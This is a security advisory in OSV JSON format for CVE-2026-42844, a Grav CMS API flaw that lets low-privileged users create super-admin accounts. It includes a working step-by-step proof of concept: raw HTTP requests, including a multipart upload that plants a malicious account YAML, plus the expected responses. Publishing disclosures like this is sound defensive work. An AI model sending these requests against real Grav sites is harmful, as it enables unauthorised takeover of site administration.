CVE-2026-42844: Getgrav/grav Low-privileged Grav API Users Can Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6xx2-m8wv-756h",
  "modified" : "2026-05-13T16:41:19Z",
  "published" : "2026-05-06T21:19:21Z",
  "aliases" : [ "CVE-2026-42844" ],
  "summary" : "Low-privileged Grav API users can create super-admin accounts via blueprint-upload",
  "details" : "## Summary\n\nIn Grav `2.0.0-beta.2`, a low-privileged authenticated API user with `api.media.write` can abuse `/api/v1/blueprint-upload` to write an arbitrary YAML file into `user/accounts/`, then log in as the newly created account with `api.super` privileges.\n\nThis results in full administrative compromise of the Grav API.\n\n## Details\n\nThe vulnerability is located in the API plugin's blueprint upload flow:\n\n- `user/plugins/api/classes/Api/ApiRouter.php:261`\n- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45`\n- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114`\n- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308`\n- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417`\n- `user/plugins/api/classes/Api/Controllers/AuthController.php:41-55`\n\nThe issue exists because `/api/v1/blueprint-upload` accepts caller-controlled `destination` and `scope` values and uses them to resolve the final filesystem write target.\n\nWhen the request uses:\n\n- `destination=self@:`\n- `scope=users/anything`\n\nThe server resolves the write target to the shared account directory:\n\n```text\nuser/accounts/\n```\n\nThe upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext `password:` field on first login, an attacker can create a fully functional administrator account with `api.super`.\n\nThe required attacker privilege is low:\n\n```yaml\naccess:\n  api:\n    access: true\n    media:\n      write: true\n```\n\n## PoC\n\n### Step 1: Authenticate as the low-privileged API user\n\n```http\nPOST /api/v1/auth/token HTTP/1.1\nHost: 127.0.0.1:8123\nContent-Type: application/json\nConnection: close\n\n{\"username\":\"uploader\",\"password\":\"Upload123A\"}\n```\n\nExtract:\n\n```text\nUPLOADER_TOKEN = <access_token from response>\n```\n\nAttachment:\n\n<img width=\"1480\" height=\"825\" alt=\"login-uploader\" src=\"https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541\" />\n\n### Step 2: Upload a malicious account YAML file\n\n```http\nPOST /api/v1/blueprint-upload HTTP/1.1\nHost: 127.0.0.1:8123\nX-API-Token: <UPLOADER_TOKEN>\nContent-Type: multipart/form-data; boundary=----CodexBoundaryF01\nConnection: close\n\n------CodexBoundaryF01\nContent-Disposition: form-data; name=\"destination\"\n\nself@:\n------CodexBoundaryF01\nContent-Disposition: form-data; name=\"scope\"\n\nusers/anything\n------CodexBoundaryF01\nContent-Disposition: form-data; name=\"file\"; filename=\"pwned.yaml\"\nContent-Type: text/yaml\n\nemail: attacker@example.com\nfullname: attacker\ntitle: Site Administrator\nstate: enabled\npassword: Passw0rd!123\naccess:\n  site:\n    login: true\n  api:\n    super: true\n------CodexBoundaryF01--\n```\n\nExpected result:\n\n```json\n{\n  \"data\": [\n    {\n      \"name\": \"pwned.yaml\",\n      \"path\": \"user/accounts/pwned.yaml\"\n    }\n  ]\n}\n```\n\nAttachment:\n\n<img width=\"1484\" height=\"797\" alt=\"upload\" src=\"https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f\" />\n\n### Step 3: Log in as the newly created account\n\n```http\nPOST /api/v1/auth/token HTTP/1.1\nHost: 127.0.0.1:8123\nContent-Type: application/json\nConnection: close\n\n{\"username\":\"pwned\",\"password\":\"Passw0rd!123\"}\n```\n\nExpected result:\n\n```json\n{\n  \"data\": {\n    \"user\": {\n      \"username\": \"pwned\",\n      \"super_admin\": true\n    }\n  }\n}\n```\n\nAttachment:\n\n<img width=\"1494\" height=\"830\" alt=\"pwned-login\" src=\"https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe\" />\n\n### Step 4: Verify privileged API access\n\n```http\nGET /api/v1/system/info HTTP/1.1\nHost: 127.0.0.1:8123\nX-API-Token: <PWNED_TOKEN>\nConnection: close\n```\n\nExpected result:\n\nThe request succeeds and returns system-level information.\n\nAttachment:\n\n<img width=\"1480\" height=\"831\" alt=\"system-info\" src=\"https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2\" />\n\n## Impact\n\nThis is an authenticated vertical privilege-escalation vulnerability.\n\nAny API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once `api.super` access is obtained, the attacker gains full control over the CMS management API and can:\n\n- modify content\n- alter configuration\n- manage users\n- install or update plugins/themes\n- access system-level administration features\n\nIn a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.\n\nThis issue was reproduced locally:\n\n- the upload response returned `user/accounts/pwned.yaml`\n- logging in as `pwned` succeeded\n- the new account had `super_admin = true`\n- privileged endpoints such as `/api/v1/system/info` were accessible",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "getgrav/grav"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.0-beta.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/security/advisories/GHSA-6xx2-m8wv-756h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42844"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav-plugin-api/commit/97fc02844a35f743dfe93d34efd92d47eedd5bc5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/getgrav/grav"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-269", "CWE-434" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T21:19:21Z",
    "nvd_published_at" : "2026-05-12T22:16:34Z"
  }
}